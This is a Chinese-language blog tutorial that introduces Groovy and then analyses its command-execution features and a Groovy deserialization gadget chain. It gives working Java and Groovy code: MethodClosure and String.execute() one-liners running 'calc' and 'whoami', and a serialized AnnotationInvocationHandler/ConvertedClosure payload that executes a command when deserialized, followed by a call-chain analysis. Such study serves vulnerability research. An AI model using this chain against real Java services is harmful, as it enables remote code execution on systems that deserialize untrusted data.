当前位置 : 首页 > 文章 > 深入了解Groovy编程语言

深入了解Groovy编程语言

来源:辣条科技站Gamer发布时间: 2024-04-13 18:58:08

Groovy是一种基于JVM的开发语言,类似于Python、Ruby、Perl和Smalltalk。它既可以作为Java平台的编程语言,也可以作为脚本语言。Groovy编译后生成.class文件,与Java编译生成的无异,因此可以在JVM上运行。在项目中可以引用Groovy的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用groovy-all。

环境搭建

<dependency>
	<groupId>org.codehaus.groovy</groupId>
	<artifactId>groovy-all</artifactId>
	<version>2.4.3</version>
</dependency>

Groovy命令执行

MethodClosure

package org.example;

import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class methodClosure {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
        Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
        m.setAccessible(true);
        m.invoke(mc, "calc");
    }
}

很朴素,一眼看出漏洞点在

doCall

方法,调试一波




invokeMethod

顾名思义就是执行方法的,调试进去看也确实如此,看

getOwner

是获取到

this.owner

,看构造方法,

owner

是一个对象





owner

我们是设置了的,

owner

就是我们传入的

Runtime

对象,

method

同理可控,这样就实现了任意类方法调用

String.execute()

Groovy为String对象封装了一个execute方法用来动态执行命令,这个方法会返回一个Process对象。也就是说,在Groovy中,可以直接使用

"ls".execute()

这种方法来执行系统命令

ls

。注意这里,创建一个

Groovy

类文件,不是创建java类文件了

package org.example

class stringExecute {
    static void main(String[] args){
        println("calc".execute().text);
    }
}
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

ConvertedClosure


ConvertedCloure

实际上是一个动态代理类,它继承了

ConversionHandler






ConversionHandler

又继承了

InvocationHandler




因此该类是一个动态代理,然后注意

invokeCustom

,这个和

InvocationHandler



invoke

是一个意思,代理的具体逻辑。如果初始化时指定的

method



invokeCustom

指定的

method

参数相同,则

invokeCustom

方法将会调用代理对象

Closure



call

方法执行传入参数执行

Groovy反序列化构造

说到动态代理就得想到CC1

package org.example;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Map;

public class convertedClosure {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
        //封装我们需要执行的对象
        MethodClosure methodClosure = new MethodClosure("calc", "execute");
        ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        // 创建ConvertedClosure的动态代理类实例
        Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);

        // 使用动态代理初始化AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
            outputStream.writeObject(invocationHandler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
            inputStream.readObject();
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }
}

调用链

AnnotationInvocationHandler.readObject()
    Map.entrySet() (Proxy)
        ConversionHandler.invoke()
            ConvertedClosure.invokeCustom()
		        MethodClosure.call()
                    ProcessGroovyMethods.execute()

流程分析

调用entrySet



触发invoke,this是

ConvertedClosure

它继承了

ConversionHandler

,所以是走进父类里面的方法,在这里面进而触发

invokeCustom




最后调用

call

方法rce